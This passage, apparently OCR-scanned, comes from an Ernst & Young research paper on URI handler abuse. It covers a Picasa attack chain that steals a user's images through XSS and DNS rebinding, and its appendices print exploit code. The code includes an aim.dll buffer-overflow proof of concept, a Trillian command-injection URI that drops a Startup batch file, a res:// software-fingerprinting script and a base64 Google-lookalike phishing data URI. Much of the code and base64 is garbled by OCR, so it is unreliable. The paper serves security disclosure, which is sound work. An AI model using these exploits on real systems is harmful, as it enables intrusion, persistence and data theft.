| below provides the relevant URIs to cause these attacks.

See the firepwn.avi video in the folder for this presentation for a demo.

10. Trust-based Applet Attack against Google’s Picasa (T-bAG)

It is possible to utilize Picasa’s built-in picasa://importbutton?url= URI, through an
XSS exposure, to force a user to import a button of the attacker’s control. Similar to the
Picasa2Flickr project, it is possible to import a button that will post the local URIs of a
user's images to an attacker’s site. These local URIs are URIs to a local web server
started by Picasa that can only be accessed on the local loopback.

Typically, projects like Picasa2Flickr will use these buttons to load a Java Applet
that asks the user if it is ok to access their file system and upload their content from
Picasa to Flickr. The applet is loaded into a built-in web browser object in Picasa.

Ernst & Young's Advanced Security Center — URI Use and Abuse
24



Instead of loading an applet, it is possible for an attacker to load a Flash
actionscript that can be used to cause a DNS rebind, allowing the attacker to trick Flash
into communicating with the localhost (and thus the Webserver started by Picasa). The
Flash can then utilize the URLLoader objects built into actionscript to access the images
and grab their binary content. An attacker would then use Flash’s capability to make
cross-domain requests to off load the content back to a server that he/she controls, thus
stealing a user’s images.

So let’s recap this all:

1.) Useris XSS'd and the exposure loads a Picasa button file (see Appendix J for
our example button code).

2.) The user clicks the button we’ve loaded and Picasa sends the local URLs of the
users images to our remote Python CGI Script, pwn.py (see Appendix K for the
code).

3.) Our CGl script pwn.py process the XML sent by Picasa and loads an HTML page
that loads a Flash object back to the victim (see Appendix L for the code).

4.) The flash actionscript provides a small timeout for us while we change our DNS
record to point to 127.0.0.1, thus causing a DNS rebind.

5.) The flash actionscript makes calls to the site we loaded it from (which now points
to 127.0.0.1) and downloads the bit streams of the user’s images into URLLoader
objects.

6.) The flash actionscript loads a cross domain policy file (see Appendix M) from
another server in our control allowing it to upload the images to a remote server.

7.) Our remote server has a Perl script listening to catch images and save them to
disk (see Appendix N for the code).

8.) The attacker can view the results of the stolen images using the admin.php script
(see Appendix O for the code).

See the picasa_pwn.avi video in the folder for this presentation for a demo.
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Appendix A — DUH4Windows Code (DUH.vbs)

Dump URL Handlers (DUH!)
" Enumerates all the URL handlers registed on the system
" Run this only once
" cscript.exe //H:CScript
" This command executes the script

" cscript.exe //Nologo DUH.vbs

satebac

On Error Resume Next
Const HKCR = &H80000000
Dim wsh

Dim comment

Dim command

Dim isHandler

set wsh = WScript.CreateObject("'WScript.Shell™)

Set oReg =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegPro

v
ret = oReg.EnumKey(HKCR, "/", arrSubKeys)
if ret<>0 Then

ret = oReg.EnumKey(HKCR, "', arrSubKeys)
end if

if ret=0 and IsArray(arrSubKeys) Then
For Each subkey In arrSubKeys
isHandler = wsh._RegRead("'"HKCR\" & subkey & "\URL Protocol')
if Err=0 Then
comment = wsh.RegRead(*'"HKCR\" & subkey & ""\'")

command = wsh.RegRead("'"HKCR\" & subkey &
"\shel I\open\command\")

Wscript.Echo subkey & Chr(&H09) & comment & Chr(&H09) &
command

else
Err =0
end if
Next
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else

WScript.Echo "Something is very very wrong ret=" & ret & " err=" & Err &
' " & IsArray(arrSubKeys)

WScript.Echo "Look for the ret code in winerror.h"
end if
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Appendix B — DUH4Linux Code (DUH4Linux.sh)

#1/bin/sh
KDEDIR=/opt/kde/share/services
ORIGDIR="pwd"

if [ $1 = "gnome™ ]; then

gconftool-2 /desktop/gnome/url-handlers --all-dirs | cut --
delimiter=/ -t 5 | while

read line;

do {
gconftool-2 /desktop/gnome/url-handlers/$line -a | grep
-1 "command® | cut --delimiter== -f 2 | while
read line2;
do {
echo -e "$line\t\t$line2"
} done
} done
else
if [ $1 = "help”™ ]; then
echo
echo "./DUH.sh <option>"
echo
echo -e "gnome\tshow URIs registered in gnome"
echo -e "kdet\tshow URIs registered in kde"
echo
else
cd $KDEDIR
URIS="1Is *_protocol | sed s/\.protocol//"
for U in $URIS; do
F="cat $U.protocol | grep "exec=" | sed
s/exec=//"
echo -e "SU\E\t$SF"
done
cd $ORIGDIR
fi
fi
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Appendix C — DUH4Mac Code

/*********************************************************************

* Code created by Carl E. Lindberg - Thanks a ton Carl! *
* See his RCDefaultApp and other great Mac Applications at *
* http://www.rubicode.com/Software/ *

**********************************************************************/

/*********************************************************************
* Compile on Tiger:

cc DUH4Mac.c -o logurls -framework CoreFoundation -framework

ApplicationServices

ook % % X X

Compile on Leopard:
cc DUH4Mac.c -o logurls -framework CoreFoundation -framework
CoreServices *

*********************************************************************/

X ok X o X

/*********************************************************************

* To run:
* #>_/DUH4Mac *

A o o e R e e e R e R e S A R A A R A R AR A R A AR AR R R R AR A R e e e e R e e e e R S R R

*

#include <stdio.h>
#include <AvailabilityMacros.h>
#include <CoreFoundation/CoreFoundation.h>

#if 1defined(MAC_OS X _VERSION_10 5) || MAC_OS_X VERSION_MAX ALLOWED <
MAC_0OS X VERSION_ 10 5

#include <ApplicationServices/ApplicationServices.h>

#else

#include <CoreServices/CoreServices.h>

#endif

/* Private Apple API... helpful for enumerating. */
extern OSStatus _LSCopySchemesAndHandlerURLs(CFArrayRef *outSchemes,
CFArrayRef *outApps);

static void GetBuf(CFStringRef string, char *buffer, int bufsize)
{
if (string == NULL)
buffer[0] = "\0~;
else
CFStringGetCString(string, buffer, bufsize,
kCFStringEncodingUTF8) ;

}

int main()

{
CFArrayRef apps;
CFArrayRef schemes;
CFArrayRef sorted_schemes;
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int i;
printf("'URL Name App (Current Path)\n™);

_LSCopySchemesAndHandlerURLs(&schemes, &apps);
_LSCopySchemesAndHandlerURLs(&sorted_schemes, &apps);

CFIndex ind = CFArrayGetCount(sorted_schemes);

CFRange range = CFRangeMake(O,ind);
CFArraySortValues(sorted_schemes, range, CFStringCompare, NULL);
for (i=0; i< CFArrayGetCount(schemes); i++)

CFStringRef scheme = (CFStringRef)
CFArrayGetValueAtIndex(schemes, 1);

CFStringRef sort = (CFStringRefT)
CFArrayGetValueAtIndex(sorted_schemes, i);

CFURLReT appURL = (CFURLRef) CFArrayGetValueAtlndex(apps, 1);

CEStringRef appName;

CFStringRef appURLString = CFURLCopyFileSystemPath(appURL,
kCFURLPOSIXPathStyle);

char schemeBuf[100];
char nameBuf[300];
char urlBuf[2048];

LSCopyDisplayNameForURL(appURL, &appName);

GetBuf(sort, schemeBuf, sizeof(schemeBuf));
GetBuf(appURLString, urlBuf, sizeof(uriBuf));
GetBuf(appName, nameBuf, sizeof(nhameBuf));

printf("'%-25s %s (%s)\n", schemeBuf, nameBuf, urlBuf);

if (appURLString != NULL)
CFRelease(appURLString);
if (appName != NULL)
CFRelease(appName);
}

CFRelease(apps);
CFRelease(schemes);
CFRelease(sorted_schemes);

exit(0);
return O;
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Appendix D — Code for Exploiting AIM.dIl Buffer
Overflow
<HTML>

<I--

Written by Nathan McFeters <nate.mcfeters@gmail.com>

Greetz to BK "Have it Your Way" Rios, Raghav "The Pope'" Dube, Erik Cabetas, and
all of the Advanced Security Center members both past, present, and future see
you all in Vegas!

The following could be implemented as an XSS attack vector (obviously most
useful in a persistent attack vector) and will cause IE7, 1E6, and Firefox to
load the aim:// URI with the string we"ve supplied. IE queries the windows
registry to find what program is asscociated with this URI and then attempts to
run that. In this case, calling aim:// will Kick off rundl132.exe "C:\Program
Files\Trillian\Plugins\aim.dll" aim_util_urlHandler url="%1" ini="C:\Program
Files\Trillian\users\default\cache\pending_aim.ini". The user can control the
value of the url substituted for %1 and this value will later be copied into a
buffer without bounds checking causing a stack overflow.

As you can see from the variables listed below, the attacker can control the
values for ptrToNextSEH and SEH. 1 suggest setting OllyDbg or WinDbg or
whatever you choose as your JIT Debugger then open this file in IE7 or IE6.

—-=>

<SCRIPT language="javascript'>

var URI = “aim:///#1111111/";

var prebuf = "111111111111222111112211111122211112221111222111122221111222111°"*
"2222222222222222222222222222222222222222222222222222222222222*
"3333333333333333333333333333333333333333333333333333333333333"
“A4444488804844088448848880484888844448844 4444444844444 444444444444*
"5555555555555555555555555555555555555555555555555555555555555 "
"6666666" ;

var ptrToNextSEH = "AAAAT;

var SEH = “BBBB-";

+

+

+

+

+

var postbuf = "6666666666666666666666666666666666666666666666666666666666666 +
ST 07777 7777777777777777777777777777777777777777777" +
"8888888888888888888888888888888888888888888888888888888888888" +
"9999999999999999999999999999999999999999999999999999999999999" +
*0000000000000000000000000000000000000000000000000000000000000* ;

</SCRIPT>
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<body onload="myref = window.open("" + URI + prebuf + ptrToNextSEH + SEH +
postbuf, "mywin®,"left=20,top=20,width=500,height=500,toolbar=1,resizable=0");"
/>

</HTML>
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Appendix E — Trillian Command Injection URI

aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All
Users\Start Menu\Programs\Startup\pwnd.bat"
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Appendix F— HTML for Enumerating Software Installed
on the Users Local File System

<html>

<body>

<h1l>

Local Software Enumeration — by Billy Kim (BK) Rios — Billy_Rios@gmail.com
</h1>

<body>

<h2>The Following Software was Discovered on your Computer:</h2><br>

<script>

var LC5=new Image():

LC5.src = "res://c:\\program%20Ffiles\\@stake\\LC5\\1c5.exe/#2/#102";
if (LC5.height != 30)

{

document.write("10pht crack 5 <br>");

}

var acrobat?7 =new Image();

acrobat7.src =
"res://c:\\program%20files\\adobe\\acrobat%207 .0\\acrobat\\acrobat._dl 1/#2/#210"

if (acrobat7._height = 30)
{

document.write('Adobe acrobat 7 <br>");

}

var nero6e=new Image();

nero6e.src =
""res://c:\\program%20files\\ahead\\nero\\nero.exe/#2/NEROSESPLASH" ;

ifT (nero6e.height '= 30)
{

document.write("Nero 6E <br>');

}

var azureus=new Image();
azureus.src = 'res://c:\\program%20files\\azureus\\uninstall .exe/#2/#110";
if (azureus.height !'= 30)
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{

document.write("'Azureus <br>");

}

var cain=new Image();

cain.src = "res://c:\\program®%20files\\cain\\uninstal .exe/#2/#106";
if (cain.height = 30)

{

document.write('Cain <br>");

}

var citrix=new Image();

citrix.src =
"res://c:\\program®%20files\\Citrix\\icaweb32\\mfc30.d11/#2/#30989";

if (citrix.height = 30)
{

document.write("'Citrix <br>'");

}

var pgpdesktop=new Image();

pgpdesktop.src =
""res://c:\\program%20files\\PGP%20Corporation\\PGP%20Desktop\\PGPdesk.exe/#2/#6
00™;

it (pgpdesktop.height = 30)
{
document.write("'PGP Desktop <br>");

}

var googletoolbar=new Image();

googletoolbar.src =
"res://c:\\program%20files\\google\\googleToolbarl._dl1/#2/#120";

ifT (googletoolbar.height = 30)
{

document.write("'Google Toolbar <br>");

}

var flashmx=new Image();

flashmx.src =
"res://c:\\program®%20files\\Macromedia\\Flash%20mx%202004\\flash.exe/#2/#4395";

if (flashmx_.height 1= 30)
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{

document.write("'"Macromedia Flash MX <br>'");

}

var msnmessenger=new Image();

msnmessenger.src = "'res://c:\\program®%20files\\Messenger\\msmsgs.exe/#2/#607";
if (msnmessenger.height = 30)

{

document.write("MSN Messenger <br>'");

}

var livemeeting7=new Image();
livemeeting7.src =

""res://c:\\program%20files\\microsoft¥%20o0fFfice\\live%20meeting%207\\console\\7.
5.2302.14\\pwresources_zh_tt._dl1/#2/#9006";

if (livemeeting7.height != 30)
{
document.write("'Live Meeting 7 <br>'");

}

var excel2003=new Image();

excel2003.src =
""res://c:\\program%20files\\microsoft®%20o0ffice\\OffFicell\\excel .exe/#34/#904";

if (excel2003.height = 30)
{

document.write("Excel 2003 <br>");

}

var office2003=new Image();

office2003.src =
""res://c:\\program%20files\\microsoft%200ffice\\OFFicell\\1033\\MSOhelp.exe/#2/
201";

if (office2003.height = 30)

{
document.write(""'The Office 2003 Suite <br>");

}

var visualstudio2005=new Image();
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visualstudio2005.src =
""res://c:\\program%20files\\microsoft%20visual%20studio%208\\common7\\ide\\deve
nv.exe/#2/#6606" ;

if (visualstudio2005.height = 30)

{
document.write(*"Visual Studio 2003 <br>");

}

var msmoviemaker = new Image();

msmoviemaker.src =
"res://c:\\program®%20files\\movie%20maker\\moviemk.exe/RT_JPG/samplel™;

if (msmoviemaker.height = 30)
{

document.write("'Microsoft Movie Maker <br>");

}

var picasa2=new Image();

picasa2.src = "res://c:\\program%20files\\picasa2\\picasa2.exe/#2/#138";
ifT (picasa2.height = 30)

{

document.write("Picasa2 <br>");

}

var quicktime=new Image();

quicktime.src =
"res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403";

if (quicktime.height I= 30)
{

document.write("Quicktime <br>");

}

var realvnc4=new Image();

realvnc4.src =
"res://c:\\program®%20files\\Real YNC\\VNC4\\vncviewer .exe/#2/#120";

if (realvnc4_height 1= 30)
{
document.write(""Real VNC 4 <br>");

}
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var oleview=new Image();

oleview.src = "res://c:\\program%20files\\resource%20Kit\\oleview.exe/#2/#2";
if (oleview._height !'= 30)

{

document.write("Oleview <br>'");

}

var securecrt=new Image();

securecrt.src = "res://c:\\program%20files\\SecureCRT\\SecureCRT.exe/#2/#224";
if (securecrt.height = 30)

{

document.write("'SecureCRT <br>'");

}

var symantecantivirus=new Image();

symantecantivirus.src =
"res://c:\\program®%20files\\symantec_client_security\\symantec%20antivirus\\vpc
32.exe/#2/#157";

ifT (symantecantivirus.height = 30)
{

document.write("'Symantec Anti Virus <br>'");

}

var ultramon=new Image();

ultramon.src =
"res://c:\\program%20files\\ultramon\\ultramondesktop.exe/#2/#108";

if (ultramon.height != 30)
{

document.write("Ultramon <br>");

}

var vmware=new Image();

vmware.src =
"res://c:\\program®%20files\\vmware\\vmware%20workstation\\vmware.exe/#2/#508";

if (vmware_height != 30)
{

document.write("'VMware <br>');

}
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var winamp=new Image();

winamp.src = "'res://c:\\program®%20files\\winamp\\winamp.exe/#2/#109";
if (winamp.height != 30)

{

document.write("Winamp <br>");

}

var windowsmediaplayer=new Image();

windowsmediaplayer.src =
"res://c:\\program®%20files\\windows%20media%20player\\wmsetsdk.exe/#2/#249";

if (windowsmediaplayer_height = 30)
{

document.write("Windows Media Player <br>'");

}

</script>
</body>
</html>

Ernst & Young's Advanced Security Center — URI Use and Abuse
39



Appendix G — Encoded FireFox Data URI Phishing Site

data:text/html ;base64,PGhObWw+PGh1YWQ+PG11dGEgaHROcC1lcXVpdjlcIimNvbnRIbnQtdHIwZ
Vwi IGNvbnRIbnQ9XCJ0ZXhOL2hObWw7 IGNoYXJzZXQ9VVRGLThc 1 j48dGI0bGU+R29vZ2x IPC90aXRs
ZT48c3R5bGU+PCELLQOKYmM9keSx0ZCxhLHASLMh7Zm9udC1mYW1pbHk6YXJIpYWwsc2Fucy1zZXJpZn0
NCi50e2ZvbnQtc216ZToyMHB4TQOKLMh7Y29sb3161zMzNjZjY30NCi5xe2NvbG9yOiMwMGNODQojZ2
JhcntmbG9hdDpszWZ002ZvbnQtd2VpZ2h00mIvbGQ7aGVpzZ2h00j 1ycHg7cGFkZGluzZy1sZWz00j Jwe
HOjZ2Joe2JvcmRIci1l0b3A6MXB4 IHNVDGIKICNjOWQ3ZJE7Zm9udClzaXpl0jA7aGVpZ2h00jA7cGIz
aXRpb246YWJzb2x1dGU7cmInaHQ6MDtOb3A6MjRweDt3aWROaDoyMDAIFSNNnYmI 7YmF ja2dyb3VuzZDo
JZmZm02JvemR 1 cjoxcHggc29saWQ7YmOyZGVyLWNvhGOYOiNjOWQ3ZjEglzM2YyAjMzZj ICNhMmIhZT
c7Zm9udClzaXpl0jEzcHg7dGOwOj 10cHg7ei1pbmR1eDoxMDAWFSNndXNIcntwYWRkaWwsnLWJIvdHRvb
To3cHgg IWItcG9ydGFudHOjZ2JhciwjZ3VzZXJ7Zm9udClzaXpl0jEzcHg7cGFkZG luZy10b3A6MXB4
1CFpbXBvcnRhbnRIOLmd iMSwuz21ze2Rpc3BsYXk6aWs5saW5102h1awdodDoyMnB4021hcmdpbilyawd
odDoxZWO7dmVydG I j YWwEtYWxpZ246dGOwFSNnYmksLmd iMntkaXNwbGF50m5vbmU7cG9zaXRpb246YW
Jzb2x1dGU7d21kdGgeN2VEFS5nY jJ7eilpbmR1eDoxXMDAXFSNNnYmFy IGEs12diYXIgYTphY3RpdmUsl
2diYXIgYTp2aXNpdGVke2NvbG9yO i MWMGM7ZmOudC13ZWInaHQ6bmOybWFsFS5nY j IgYSwuz21z1GF7
dGV4dC1kZWNvemFOaWw9uOm5vbmvVOLmdiMiBhe2Rpc3BsYXk6YmxvY2s7cGFkZGluZzouMmVt1C41ZW1
9l2diYXIgLmdiMiBhOmhvdmVye2JhY2tncm91bmQ6 1zM2Yztjb2xvcjojZmZmFSOtP jwvc3R5bGU+DQ
08c2NyaXBOPgOKPCEtLQOKdmFy IHRIc3Q9XCdwaGlzaGVk 1VwnOwOKZnVuY3Rpb24gc2YoKXtkb2N1b
WVudC5mLnEuZm9 jdXMoKTt9DQp3aWs5kb3cuY2xrPWZ1bmNOaWIuKG I sYyxkLGgsaSxgKXtpZihkb2N1
bWVudC5pbWFnZXMpe3Zhc iBhPXdpbmRvdy5 1bmNvZGVVUkIDb21wb251bnQ/ZW5jb2R1VVIJIQ29tcGY
uZW500mVzY2FwZSxXIPVWIXCIsZjlcl IwiLGecIOXCIcl JtpZihiKXtIPVwiJInVybD1cl i thKGlucmvwbG
FjZSgvilydqLyxcl lwiKSkucmVwbGFjZSgvXFwrL2csXClIMkJclil9aWwYoYyl7ZjlcliZvaTlclithK
GMpFWIMKGQpe2c9XCImY2FkPVwiK2EoZCI9KG51dyBIbWFnZSkuc3JjPVwiL3VybD9zYT1UXCIrZitn
Kiwi IJmNOPVwiK2E0aCkrXCImY2Q9XCIrYShpKStIK1wiImVpPUlrUnVSci1RTI1yYWd3UESOYURMQKF
clitqfXJldHVybiBOcnVITTt3aW5kb3cuz2Jhcj17fTsoZnVuY3Rpb240KXtmdW5jdGlvbiB6KGESZC
XTKXt2YX1gYz1cImOuXClrZDtpZihhLmFKZEV2ZW50TG 1 zdGVuzZX 1 pe2EuYWRKRXZ IbnRMaxXNOZW51c
ihkLGIsZmFsc2UpTfWVsc2UgaWYoYS5hdHRhY2hFdmVudCIl7YS5hdHRhY2hFdmVudChjLG I pFfWVsc2V7
dmFy 1GU9YVLJ XTthW2NdPWZ1bmNOaW9uKC 1 7dmFy 1GY9ZS5hcHBseSh0aG 1 zLGFyZ3VtZW50cyksbj 1
i LmFwcGx5KHRoaXMsYXJIndW1 1bnRzKTtyZXR1cm4gZ j09dW5kZWZpbmVkP246KG49PXVuZGVmaw51ZD
9IMOM4mImYpFX1903Zhc iBvPXdpbmRvdyxzPW8ubG9 jYXRpb24seD1zLnN1YXJjaCx3PXMucHJIvdGOjb
2wsbT1kb2N1bWVudCxpPVwiXCIscSx1PVwiXClsaCxnLGo9by5nYmFyLHI9XCJI3aXZubG16YmpwY29l
Z3owdHFmeXNc 1 ixs02Z1bmNOaWw9u lHAoYS17cmVOdXJulGVzY2FwZSh1bmVzY2FwZShhLnJ 1 cGxhY2U
oL1xcKy9nLFwi IFwiKSkpLnJlcGxhY2UoL1xcKy9nLFwiJTJICXCIpfWZ1bmNOawOu IHQoYSI17cmvOodX
JulGdbYVOuzZmlyc3RDaGIsZC50YWdOYW1IPT1clkFcInimdW5jdGIvbiBrKGEpe3JldHVybiB4Lmlhd
GNoKFwiWz8mXShcl i thK1wiPSkoW14ml10gKVwiKX1gLmluaXQ9ZnVuY3Rpb240KXt2YX1gYTOWLGQs
Yj 1lcImFmZmRvbSxjaGFubmVsLGNsaWVudCxobCxocyxpZSxscixuZWQsb2Usb2cscmxzLHIselwiLnN
whGIOKFwi LFwiKSx jPWsoXCJhc19xXClpLGU9ayhcInFcl ik7cT1lrKFwibmVhclwiKTtnPWOuZ2VORW
XIbWWudEJI5SWQoXCINYmFyXCIpLmdIdEVSZW11bnRzQn IUYWdOYWLIKFwiZG12XC1p02UmJ i hpPWVbM
10pJiZJJiYoaSsOXCIrXCIlp02MmIihpKz1jWzJdKTt3aGlsZShOKGErKykpe31sPX1uY2hhckFOKGEt
MSk7Zm9yKGEOMDtiW2FdO2ErKy 17ZD1rKGJbYVOp02QmJih1KzlcliZcl itkWzFdK3A0ZFsyXSkpfwz
vCcihhPTA7Z1thXTthKyspe3QoYSkmJnkoYSI9aDl1ltLmdIdEVsZW1lbnRCeUlkKFwiZ2JpXCIlp0O300bS
xcImNsaWNrXClsai5jbG9zzS1902Z1bmNOaWwOu lHkoYS17dmFy 1GQ9Z1thXS5maXJzdENoaWxkLG19Z
C50cmVmKyhkLmhyZWYubWFOY2goXCJbP11cl ik/XCImXCI6XCI1/XCIpLGMIci5jaGFyQXQoYSk7aWwYo
YYE9XCJI6XClpe2l rPVwidGFiPVwiK2wrYztpZihc ImMNvbVwiLmluZGVAT2YoYyk+PTApe219Yi5yZXB
sYWNIKFwiaHROcDpcl ix3KX1IbHNIe2lrPXU7aWYoaS17YisOXCImcTlcl i twKGkpO3EmImwIOPVwibF
wiJiYoYis9XClrbmVhciUzQStcl i twKHFbMIOpKX19fWQuaHJIZj1 i fWZ1bmNOaWOulHYoYSXKLGIpe
2EuZGlzcGxheT1hLmRpc3BsYXkOPVwiYmxvY2tcljOcIm5vbmVel jpcImIsb2NrXC17YS5sZWZ0PWQr
XCIweFwi 02EudGOwWPWI rXCIweFwi fWoudGc9ZnVuY3Rpb240YS17dmFy 1 GQIMCX 1 LGMSZSXmPTA7YT1
hP2E6by5 1dmVudDthLmNhbmNIbEJ1YmJIsZT10cnVI02Zvcig7aCYmZ1tmXTtmKyspe2MOZ1tmXTtIPW
MuY2xhc3NOYW1 102 ImKGUIPVWiZ21zXClpe219Yy5vZmZzZXRMZWZ003doaWx IKGMOYy5vZmZzZXRQY
XJ1bnQpe2 1 rPWMub2Zmc2VOTGVmdH12KGguc3R5bGUSY iwyNCI19ZWxzZSBpZihIPT1cImdiMIwiKXt]j
LmIkPT1lcImdiYXJclitsJiYoYy5zdHIsZS5wYWRkaWsnPVwiLjJIbSAUNWVEXCIpO3YoYy5zdHISZSx
iKzEsMjUrZCk7ZCs9MjBOTfWguc3R5bGUuUaGVpZ2hOPWQrXCIweFwi FTtgLmNsb3NIPWZ1bmNOaWwOuKkG
Epe2gmImguc3R5bGUUZGIzcGxheTO9XCIibGOjalwi JiZgLnRNKGEpFTtOKSgpOy8vICOtPgOKPCIzY
3JpcHQ+DQo8L2h 1YWQ+PGJIvZHkgYmdjb2xvcjO0jZmZmZmZmIHR1eHQ9 1 zAWMDAWMCBsaW5s rPSMwMDAwW
Y2Mgdmxpbms91zULMWE4Y i BhbGluaz0jZmYwMDAwWIG9ubG9hZD1c InNmKCk7aWwYoZG9 jdwllbnQuawl
hzZ2VzKXtuzXcgSW1hzZ2UoKS5zcmM9XCcvaWlhz2VzL25hd 19sb2dvMy5wbmdcJ31cl iBOb3BtYXJnaw
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49MyBtYXJInaW50ZWInaHQOMz48ZG 12 1GIkPWd i1 YXT1+PG5vYn1+PGRpdiBjbGFzcz1nY jJE+V2ViPCOhP
JwvZGI2PjxkaXYgY2xhc3M9Z2 I xPjxh 1GhyZWY9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5jb29r
aWUp0z5JbWFnNZXM8L2E+PC9kaXY+PGRpdiBjbGFzcz1nYJE+PGEgaHIIZj1gYXZhc2NyaXBOOmFsZXJ
OKGRVY3VEZW50LMNvb2tpZSKk7PCOhPjwvZG 2P jxkaXYgY2xhc3M9Z2IxPjxh1GhyZWY9amF2YXNjcm
1wdDphbGVydChkb2N1bWVudC5 jb29raWUp0z50Z2XdzPCOnhP jwvZG 2P jxkaXYgY2xhc3M9Z2 I1xPjxhl
GhyzWY9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5jb29raWUp0z5NYXBzPCOhPjwvZGI2PjxkaXYg
Y2xhc3M9Z2 IxPjxh1GhyZWY9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5 jb29raWUpOz5HbWFpbDw
VYT48L2Rpdj48ZGI21GNsYXNzPWd iMz48YSBocmVmPWphdmFzY3JpcHQ6YWx1cnQoZG9jdWw1lbnQuY2
9vazl IKTsgb25jbGl jazlcInRoaXMuYmxlcigpO2diYX1udGcoZXZ1bnQpO3JIdHVybiBmYWxzZVwiP
JXx1Pm1vemUBL3U+ IDxzcGFulHNOeWx IPWZvbnQtc216ZToxMXB4P 1Y jOTY2MDs8L3NwYW4+PCOhP jwv
ZGI12PjxkaXxXYgY2xhc3M9Z2 1yP jxhI1GhyZWy9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5jb29rawu
pOz5CbGONIFNTYXJjaDwvYT48L2Rpd j48ZG121GNsYXNzPWd iMj48YSBocmVmPWphdmFzY3JpcHQE6YW
x1cnQoZG9jdw1lbnQuY29va2 l IKTs+QmxvZ2dlcjwvYT48L2Rpdj48ZGI21GNsYXNzPWdiMj48YSBoc
mVmPWphdmFzY3JpcHQ6YWx 1cnQoZG9jdW1lbnQuY29va2 l IKTs+Qm9va3M8L2E+PCI9kaXY+PGRpdiBj
bGFzcz1nYj 1+PGEgaHJ1Zj1qYXZhc2NyaXBOOmFsZXJOKGRVY3VtZW50LmNvb2tpzZSk7PkNhbGVuzZGF
YPCOhPJwvZGI2PjxkaXYgY2xhc3M9Z21yPjxh1GhyZWY9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC
5jb29raWUp0z5Eb2N1bWVudHM8L2E+PCI9kaXY+PGRpdiBjbGFzcz1nYj1+PGEgaHJ1Zj1gYXZhc2Nya
XBOOMFsSZXJOKGRVY3VEZW50LmNvb2tpZSk7PkZpbmFuY2USL2E+PCOkaXY+PGRpdiBjbGFzczlnYj 1+
PGEgaHJ1Zj1qYXZhc2NyaXBOOmFsZXJOKGRvVY3VtZW50LmNvb2tpZSk7Pkdyb3VwczwvYT48L2Rpd j4
8ZGI121GNsYXNzPWdiMj48YSBocmVmPWphdmFzY3JpcHQ6YWx1cnQoZGO jdW1lbnQuY29va2l IKTs+TG
FiczwvYT48L2Rpdj48ZGI21GNsYXNzPWdiMj48YSBocmVmPWphdmFzY3JpcHQ6YWx1cnQozZGOjdWwllb
nQuUY29va2 l IKTs+T3JrdXQ8L2E+PC9kaXY+PGRpdiBjbGFzczl1nYj 1+PGEgaHJ1Zj1qYXZhc2NyaXBO
OMFsZXJOKGRVY3VtZW50LmNvb2tpZSk7P1BhdGVudHM8L2E+PC9kaXY+PGRpdiBjbGFzcz1nYj I+PGE
gaHJ1Zj1gYXZhc2NyaXBOOmMFSZXJOKGRVY3VEZW50LmNvb2tpZSk7P 1Bob3RvczwvYT48L2Rpd j48ZG
121GNsYXNzPWdiMj48YSBocmVmPWphdmFzY3JpcHQEYWx1cnQoZG9 jdWllbnQuY29va2l IKTs+UHJIvZ
HVjdHM8BL2E+PCOkaXY+PGRpdiBjbGFzcz1nYj1+PGEgaHJ1Zj1qYXZhc2NyaXBOOmFsZXJOKGRvY3Vt
ZW50LmNvb2tpZSk7P1J1YWRICjwvYT48L2Rpdj48ZG121GNSYXNzPWdiMj48YSBocmVmPWphdmFzY3J
pcHQ6YWx1cnQozZG9jdW1llbnQuY29va2l IKTs+U2Nob2xhc jwvYT48L2Rpd j48L25vYn1+PC9kaXY+PG
ImecmFtZSBmemFtzZWJIvemRIcjowl GIkPWdiaSBzY3JvbGxpbmc9bm8+PCO9pZnJIhbWU+PGRpdiBpZD1nY
mg+PC9kaXY+PHNjcmlwdD53aW5kb3cuz2JhciYmz2Jhci5pbmIOKCk8L3NjcmlwdD48ZG 12 1GFsaWdu
PXJpzZ2h01GIkPWd1c2Vy IHNOeWx IPVwiZm9udClzaXp10jg0JTtwYWRkawsnLWJIvdHRvbToOcHhcl iB
3aWR0aDOXMDAIPjxub2JyPjxh1GhyZWY9amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5jb29raWuUpOz
5pR29vZ2x1PCOhP i ZuYnNwO3wmbmJzcDs8YSBocmVmPWphdmFzY3JpcHQ6YWx1cnQoZG9jdwl IbnQuY
29va2l IKTs+U2InbiBpbjwvYT48L25vYn1+PC9kaXY+PGNIbnR1cj48Ynl1gaWQ9bGdwzD48awinIGhl
aWdodDOxMTAgc3JjPWhOdHAGLY93d3cuz29vZz2x 1 LmNvbS9pbnRsL2VuXOFMTCOpbWFNZXMvbGIOnby5
naWygd2lkdGgOMjc2Pjxicj48Ynl+PGZvemOgYWNOaWOuPVwiL3NTYXJjaFwi 1G5hbWU9Zj48dGFibG
UgY2VsbHBhZGRpbmcIMCB j ZWxsc3BhY21uZz0wP jx0ciB2YWxpZ249dGOwP jx0ZCB3aWR0aDOyNSU+J
m5i1c3A7PC90ZD48dGQgYWxpZ249Y2VudGVy 1G5vd3JIhcD48awswdXQgbmFtZT1o0bCBOeXBIPWhpZGRI
biB2YWx1ZT11bj48aWwswdXQgbWF4bGVuzZ3RoPT IwNDggbmFtZT1x IHNpemUIONTUgdG10bGU9XCJIHb29
nbGUgU2VhcmNoXC1gdmFsdWU9XCJIc 1 j48Yn1+PGlucHVO1G5hbWU9YNRURyBOeXBIPXN1Ym1pdCB2YW
X1ZT1Hb29nbGUgU2VhcmNoP jxpbnB1dCBuYW1 1PWJIObkkgdHIwZT1zdWJtaXQgdmFsdWU9SW1FRmVIb
GluZ19MdWNreT48L3RkPjx0ZCBub3dyYXAgd2kdGgOMjUIPjxmb250 IHNpemUILT I +Im5ic3A7Im5i
Cc3A7PGEgaHJ1Zj1gYXZhc2NyaXBOOmMFsSZXJOKGRvVY3VEZW50LmMNvb2tpZSk7PKFkdmFuY2VKIFNTYXJ
JabwvYT48Yn1+Im5ic3A7Im5i1c3A7PGEgaHIIZj1gYXZhc2NyaXBOOmFSZXJOKGRvY3VtZW50LmNvb2
tpZSk7PIByZWZIcmVuY2VzPCOhPjxicj4mbmIzcDsmbmJzcDs8YSBocmVmPWphdmFzY3JpcHQ6YWx1c
nQoZG9jdwW1lbnQuY29va2l IKTs+TGFuZ3VhZ2UgVG9vbHMBL2E+PCIO9mb250P jwvdGQ+PC90c j48L3Rh
